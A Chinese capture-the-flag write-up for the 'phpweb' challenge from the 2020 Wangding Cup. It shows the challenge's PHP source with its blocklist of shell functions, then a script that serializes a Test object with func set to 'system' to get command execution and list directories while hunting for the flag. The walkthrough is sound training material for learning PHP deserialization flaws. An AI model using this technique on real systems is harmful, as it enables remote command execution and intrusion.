[网鼎杯 2020 朱雀组]phpweb

抓包看一下

date是一个函数 后面是他的参数 由此形式我们猜测使用了 call_user_func()函数

于是我们尝试读取源代码

查看源代码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

禁用了system等函数，可以用序列化加上url编码绕过

于是我们首先查看目录

<?php
//    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
//    function gettime($func, $p) {
//        $result = call_user_func($func, $p);
//        $a= gettype($result);
//        if ($a == "string") {
//            return $result;
//        } else {return "";}
//    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
//    $func = $_REQUEST["func"];
//    $p = $_REQUEST["p"];
//
//    if ($func != null) {
//        $func = strtolower($func);
//        if (!in_array($func,$disable_fun)) {
//            echo gettime($func, $p);
//        }else {
//            die("Hacker...");
//        }
//    }
    $a = new Test();
    $a -> func = 'system';
    $a -> p = 'ls ../../../';
//    $a -> p = "find / -name 'flag*'";
    print(urlencode(serialize($a)));
    ?>

返回如下

然后查找flag所在位置

返回值如下

最后读取flag